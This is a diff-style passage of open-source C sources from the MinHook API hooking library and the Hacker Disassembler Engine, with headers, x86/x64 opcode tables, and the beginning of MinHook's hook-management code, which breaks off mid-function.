* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
* hde64.h: C/C++ header file
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _HDE64_H_
|
||||
#define _HDE64_H_
|
||||
|
||||
/* stdint.h - C99 standard header
|
||||
* http://en.wikipedia.org/wiki/stdint.h
|
||||
*
|
||||
* if your compiler doesn't contain "stdint.h" header (for
|
||||
* example, Microsoft Visual C++), you can download file:
|
||||
* http://www.azillionmonkeys.com/qed/pstdint.h
|
||||
* and change next line to:
|
||||
* #include "pstdint.h"
|
||||
*/
|
||||
#include "pstdint.h"
|
||||
|
||||
#define F_MODRM 0x00000001
|
||||
#define F_SIB 0x00000002
|
||||
#define F_IMM8 0x00000004
|
||||
#define F_IMM16 0x00000008
|
||||
#define F_IMM32 0x00000010
|
||||
#define F_IMM64 0x00000020
|
||||
#define F_DISP8 0x00000040
|
||||
#define F_DISP16 0x00000080
|
||||
#define F_DISP32 0x00000100
|
||||
#define F_RELATIVE 0x00000200
|
||||
#define F_ERROR 0x00001000
|
||||
#define F_ERROR_OPCODE 0x00002000
|
||||
#define F_ERROR_LENGTH 0x00004000
|
||||
#define F_ERROR_LOCK 0x00008000
|
||||
#define F_ERROR_OPERAND 0x00010000
|
||||
#define F_PREFIX_REPNZ 0x01000000
|
||||
#define F_PREFIX_REPX 0x02000000
|
||||
#define F_PREFIX_REP 0x03000000
|
||||
#define F_PREFIX_66 0x04000000
|
||||
#define F_PREFIX_67 0x08000000
|
||||
#define F_PREFIX_LOCK 0x10000000
|
||||
#define F_PREFIX_SEG 0x20000000
|
||||
#define F_PREFIX_REX 0x40000000
|
||||
#define F_PREFIX_ANY 0x7f000000
|
||||
|
||||
#define PREFIX_SEGMENT_CS 0x2e
|
||||
#define PREFIX_SEGMENT_SS 0x36
|
||||
#define PREFIX_SEGMENT_DS 0x3e
|
||||
#define PREFIX_SEGMENT_ES 0x26
|
||||
#define PREFIX_SEGMENT_FS 0x64
|
||||
#define PREFIX_SEGMENT_GS 0x65
|
||||
#define PREFIX_LOCK 0xf0
|
||||
#define PREFIX_REPNZ 0xf2
|
||||
#define PREFIX_REPX 0xf3
|
||||
#define PREFIX_OPERAND_SIZE 0x66
|
||||
#define PREFIX_ADDRESS_SIZE 0x67
|
||||
|
||||
#pragma pack(push,1)
|
||||
|
||||
typedef struct {
|
||||
uint8_t len;
|
||||
uint8_t p_rep;
|
||||
uint8_t p_lock;
|
||||
uint8_t p_seg;
|
||||
uint8_t p_66;
|
||||
uint8_t p_67;
|
||||
uint8_t rex;
|
||||
uint8_t rex_w;
|
||||
uint8_t rex_r;
|
||||
uint8_t rex_x;
|
||||
uint8_t rex_b;
|
||||
uint8_t opcode;
|
||||
uint8_t opcode2;
|
||||
uint8_t modrm;
|
||||
uint8_t modrm_mod;
|
||||
uint8_t modrm_reg;
|
||||
uint8_t modrm_rm;
|
||||
uint8_t sib;
|
||||
uint8_t sib_scale;
|
||||
uint8_t sib_index;
|
||||
uint8_t sib_base;
|
||||
union {
|
||||
uint8_t imm8;
|
||||
uint16_t imm16;
|
||||
uint32_t imm32;
|
||||
uint64_t imm64;
|
||||
} imm;
|
||||
union {
|
||||
uint8_t disp8;
|
||||
uint16_t disp16;
|
||||
uint32_t disp32;
|
||||
} disp;
|
||||
uint32_t flags;
|
||||
} hde64s;
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* __cdecl */
|
||||
unsigned int hde64_disasm(const void *code, hde64s *hs);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* _HDE64_H_ */
|
||||
@@ -0,0 +1,39 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// Integer types for HDE.
|
||||
typedef INT8 int8_t;
|
||||
typedef INT16 int16_t;
|
||||
typedef INT32 int32_t;
|
||||
typedef INT64 int64_t;
|
||||
typedef UINT8 uint8_t;
|
||||
typedef UINT16 uint16_t;
|
||||
typedef UINT32 uint32_t;
|
||||
typedef UINT64 uint64_t;
|
||||
@@ -0,0 +1,73 @@
|
||||
/*
|
||||
* Hacker Disassembler Engine 32 C
|
||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#define C_NONE 0x00
|
||||
#define C_MODRM 0x01
|
||||
#define C_IMM8 0x02
|
||||
#define C_IMM16 0x04
|
||||
#define C_IMM_P66 0x10
|
||||
#define C_REL8 0x20
|
||||
#define C_REL32 0x40
|
||||
#define C_GROUP 0x80
|
||||
#define C_ERROR 0xff
|
||||
|
||||
#define PRE_ANY 0x00
|
||||
#define PRE_NONE 0x01
|
||||
#define PRE_F2 0x02
|
||||
#define PRE_F3 0x04
|
||||
#define PRE_66 0x08
|
||||
#define PRE_67 0x10
|
||||
#define PRE_LOCK 0x20
|
||||
#define PRE_SEG 0x40
|
||||
#define PRE_ALL 0xff
|
||||
|
||||
#define DELTA_OPCODES 0x4a
|
||||
#define DELTA_FPU_REG 0xf1
|
||||
#define DELTA_FPU_MODRM 0xf8
|
||||
#define DELTA_PREFIXES 0x130
|
||||
#define DELTA_OP_LOCK_OK 0x1a1
|
||||
#define DELTA_OP2_LOCK_OK 0x1b9
|
||||
#define DELTA_OP_ONLY_MEM 0x1cb
|
||||
#define DELTA_OP2_ONLY_MEM 0x1da
|
||||
|
||||
unsigned char hde32_table[] = {
|
||||
0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,
|
||||
0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f,
|
||||
0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3,
|
||||
0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa,
|
||||
0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90,
|
||||
0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f,
|
||||
0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d,
|
||||
0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59,
|
||||
0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,
|
||||
0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0,
|
||||
0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01,
|
||||
0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11,
|
||||
0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8,
|
||||
0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca,
|
||||
0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff,
|
||||
0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03,
|
||||
0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,
|
||||
0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,
|
||||
0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f,
|
||||
0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a,
|
||||
0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,
|
||||
0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a,
|
||||
0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06,
|
||||
0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06,
|
||||
0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
|
||||
0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08,
|
||||
0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,
|
||||
0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,
|
||||
0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,
|
||||
0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,
|
||||
0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,
|
||||
0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,
|
||||
0xe7,0x08,0x00,0xf0,0x02,0x00
|
||||
};
|
||||
@@ -0,0 +1,74 @@
|
||||
/*
|
||||
* Hacker Disassembler Engine 64 C
|
||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#define C_NONE 0x00
|
||||
#define C_MODRM 0x01
|
||||
#define C_IMM8 0x02
|
||||
#define C_IMM16 0x04
|
||||
#define C_IMM_P66 0x10
|
||||
#define C_REL8 0x20
|
||||
#define C_REL32 0x40
|
||||
#define C_GROUP 0x80
|
||||
#define C_ERROR 0xff
|
||||
|
||||
#define PRE_ANY 0x00
|
||||
#define PRE_NONE 0x01
|
||||
#define PRE_F2 0x02
|
||||
#define PRE_F3 0x04
|
||||
#define PRE_66 0x08
|
||||
#define PRE_67 0x10
|
||||
#define PRE_LOCK 0x20
|
||||
#define PRE_SEG 0x40
|
||||
#define PRE_ALL 0xff
|
||||
|
||||
#define DELTA_OPCODES 0x4a
|
||||
#define DELTA_FPU_REG 0xfd
|
||||
#define DELTA_FPU_MODRM 0x104
|
||||
#define DELTA_PREFIXES 0x13c
|
||||
#define DELTA_OP_LOCK_OK 0x1ae
|
||||
#define DELTA_OP2_LOCK_OK 0x1c6
|
||||
#define DELTA_OP_ONLY_MEM 0x1d8
|
||||
#define DELTA_OP2_ONLY_MEM 0x1e7
|
||||
|
||||
unsigned char hde64_table[] = {
|
||||
0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
|
||||
0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
|
||||
0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
|
||||
0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
|
||||
0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
|
||||
0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
|
||||
0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
|
||||
0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
|
||||
0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
|
||||
0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
|
||||
0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
|
||||
0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
|
||||
0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
|
||||
0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
|
||||
0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
|
||||
0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
|
||||
0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
|
||||
0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
|
||||
0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
|
||||
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
|
||||
0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
|
||||
0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
|
||||
0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
|
||||
0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
|
||||
0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
|
||||
0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
|
||||
0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
|
||||
0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
|
||||
0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
|
||||
0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
|
||||
0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
|
||||
0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
|
||||
0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
|
||||
0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
|
||||
0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
|
||||
0x00,0xf0,0x02,0x00
|
||||
};
|
||||
@@ -0,0 +1,939 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <limits.h>
|
||||
|
||||
#include "../include/MinHook.h"
|
||||
#include "buffer.h"
|
||||
#include "trampoline.h"
|
||||
|
||||
#ifndef ARRAYSIZE
|
||||
#define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
|
||||
#endif
|
||||
|
||||
// Initial capacity of the HOOK_ENTRY buffer.
|
||||
#define INITIAL_HOOK_CAPACITY 32
|
||||
|
||||
// Initial capacity of the thread IDs buffer.
|
||||
#define INITIAL_THREAD_CAPACITY 128
|
||||
|
||||
// Special hook position values.
|
||||
#define INVALID_HOOK_POS UINT_MAX
|
||||
#define ALL_HOOKS_POS UINT_MAX
|
||||
|
||||
// Freeze() action argument defines.
|
||||
#define ACTION_DISABLE 0
|
||||
#define ACTION_ENABLE 1
|
||||
#define ACTION_APPLY_QUEUED 2
|
||||
|
||||
// Thread access rights for suspending/resuming threads.
|
||||
#define THREAD_ACCESS \
|
||||
(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT)
|
||||
|
||||
// Hook information.
|
||||
typedef struct _HOOK_ENTRY
|
||||
{
|
||||
LPVOID pTarget; // Address of the target function.
|
||||
LPVOID pDetour; // Address of the detour or relay function.
|
||||
LPVOID pTrampoline; // Address of the trampoline function.
|
||||
UINT8 backup[8]; // Original prologue of the target function.
|
||||
|
||||
UINT8 patchAbove : 1; // Uses the hot patch area.
|
||||
UINT8 isEnabled : 1; // Enabled.
|
||||
UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled.
|
||||
|
||||
UINT nIP : 4; // Count of the instruction boundaries.
|
||||
UINT8 oldIPs[8]; // Instruction boundaries of the target function.
|
||||
UINT8 newIPs[8]; // Instruction boundaries of the trampoline function.
|
||||
} HOOK_ENTRY, *PHOOK_ENTRY;
|
||||
|
||||
// Suspended threads for Freeze()/Unfreeze().
|
||||
typedef struct _FROZEN_THREADS
|
||||
{
|
||||
LPDWORD pItems; // Data heap
|
||||
UINT capacity; // Size of allocated data heap, items
|
||||
UINT size; // Actual number of data items
|
||||
} FROZEN_THREADS, *PFROZEN_THREADS;
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
// Global Variables:
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
// Spin lock flag for EnterSpinLock()/LeaveSpinLock().
|
||||
static volatile LONG g_isLocked = FALSE;
|
||||
|
||||
// Private heap handle. If not NULL, this library is initialized.
|
||||
static HANDLE g_hHeap = NULL;
|
||||
|
||||
// Hook entries.
|
||||
static struct
|
||||
{
|
||||
PHOOK_ENTRY pItems; // Data heap
|
||||
UINT capacity; // Size of allocated data heap, items
|
||||
UINT size; // Actual number of data items
|
||||
} g_hooks;
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
// Returns INVALID_HOOK_POS if not found.
|
||||
static UINT FindHookEntry(LPVOID pTarget)
|
||||
{
|
||||
UINT i;
|
||||
for (i = 0; i < g_hooks.size; ++i)
|
||||
{
|
||||
if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget)
|
||||
return i;
|
||||
}
|
||||
|
||||
return INVALID_HOOK_POS;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static PHOOK_ENTRY AddHookEntry()
|
||||
{
|
||||
if (g_hooks.pItems == NULL)
|
||||
{
|
||||
g_hooks.capacity = INITIAL_HOOK_CAPACITY;
|
||||
g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc(
|
||||
g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY));
|
||||
if (g_hooks.pItems == NULL)
|
||||
return NULL;
|
||||
}
|
||||
else if (g_hooks.size >= g_hooks.capacity)
|
||||
{
|
||||
PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
|
||||
g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY));
|
||||
if (p == NULL)
|
||||
return NULL;
|
||||
|
||||
g_hooks.capacity *= 2;
|
||||
g_hooks.pItems = p;
|
||||
}
|
||||
|
||||
return &g_hooks.pItems[g_hooks.size++];
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static VOID DeleteHookEntry(UINT pos)
|
||||
{
|
||||
if (pos < g_hooks.size - 1)
|
||||
g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1];
|
||||
|
||||
g_hooks.size--;
|
||||
|
||||
if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size)
|
||||
{
|
||||
PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
|
||||
g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY));
|
||||
if (p == NULL)
|
||||
return;
|
||||
|
||||
g_hooks.capacity /= 2;
|
||||
g_hooks.pItems = p;
|
||||
}
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
|
||||
{
|
||||
UINT i;
|
||||
|
||||
if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL)))
|
||||
return (DWORD_PTR)pHook->pTarget;
|
||||
|
||||
for (i = 0; i < pHook->nIP; ++i)
|
||||
{
|
||||
if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]))
|
||||
return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i];
|
||||
}
|
||||
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
// Check relay function.
|
||||
if (ip == (DWORD_PTR)pHook->pDetour)
|
||||
return (DWORD_PTR)pHook->pTarget;
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
|
||||
{
|
||||
UINT i;
|
||||
for (i = 0; i < pHook->nIP; ++i)
|
||||
{
|
||||
if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]))
|
||||
return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static VOID ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action)
|
||||
{
|
||||
// If the thread suspended in the overwritten area,
|
||||
// move IP to the proper address.
|
||||
|
||||
CONTEXT c;
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
DWORD64 *pIP = &c.Rip;
|
||||
#else
|
||||
DWORD *pIP = &c.Eip;
|
||||
#endif
|
||||
UINT count;
|
||||
|
||||
c.ContextFlags = CONTEXT_CONTROL;
|
||||
if (!GetThreadContext(hThread, &c))
|
||||
return;
|
||||
|
||||
if (pos == ALL_HOOKS_POS)
|
||||
{
|
||||
pos = 0;
|
||||
count = g_hooks.size;
|
||||
}
|
||||
else
|
||||
{
|
||||
count = pos + 1;
|
||||
}
|
||||
|
||||
for (; pos < count; ++pos)
|
||||
{
|
||||
PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
|
||||
BOOL enable;
|
||||
DWORD_PTR ip;
|
||||
|
||||
switch (action)
|
||||
{
|
||||
case ACTION_DISABLE:
|
||||
enable = FALSE;
|
||||
break;
|
||||
|
||||
case ACTION_ENABLE:
|
||||
enable = TRUE;
|
||||
break;
|
||||
|
||||
default: // ACTION_APPLY_QUEUED
|
||||
enable = pHook->queueEnable;
|
||||
break;
|
||||
}
|
||||
if (pHook->isEnabled == enable)
|
||||
continue;
|
||||
|
||||
if (enable)
|
||||
ip = FindNewIP(pHook, *pIP);
|
||||
else
|
||||
ip = FindOldIP(pHook, *pIP);
|
||||
|
||||
if (ip != 0)
|
||||
{
|
||||
*pIP = ip;
|
||||
SetThreadContext(hThread, &c);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static BOOL EnumerateThreads(PFROZEN_THREADS pThreads)
|
||||
{
|
||||
BOOL succeeded = FALSE;
|
||||
|
||||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
||||
if (hSnapshot != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
THREADENTRY32 te;
|
||||
te.dwSize = sizeof(THREADENTRY32);
|
||||
if (Thread32First(hSnapshot, &te))
|
||||
{
|
||||
succeeded = TRUE;
|
||||
do
|
||||
{
|
||||
if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD))
|
||||
&& te.th32OwnerProcessID == GetCurrentProcessId()
|
||||
&& te.th32ThreadID != GetCurrentThreadId())
|
||||
{
|
||||
if (pThreads->pItems == NULL)
|
||||
{
|
||||
pThreads->capacity = INITIAL_THREAD_CAPACITY;
|
||||
pThreads->pItems
|
||||
= (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD));
|
||||
if (pThreads->pItems == NULL)
|
||||
{
|
||||
succeeded = FALSE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if (pThreads->size >= pThreads->capacity)
|
||||
{
|
||||
LPDWORD p;
|
||||
pThreads->capacity *= 2;
|
||||
p = (LPDWORD)HeapReAlloc(
|
||||
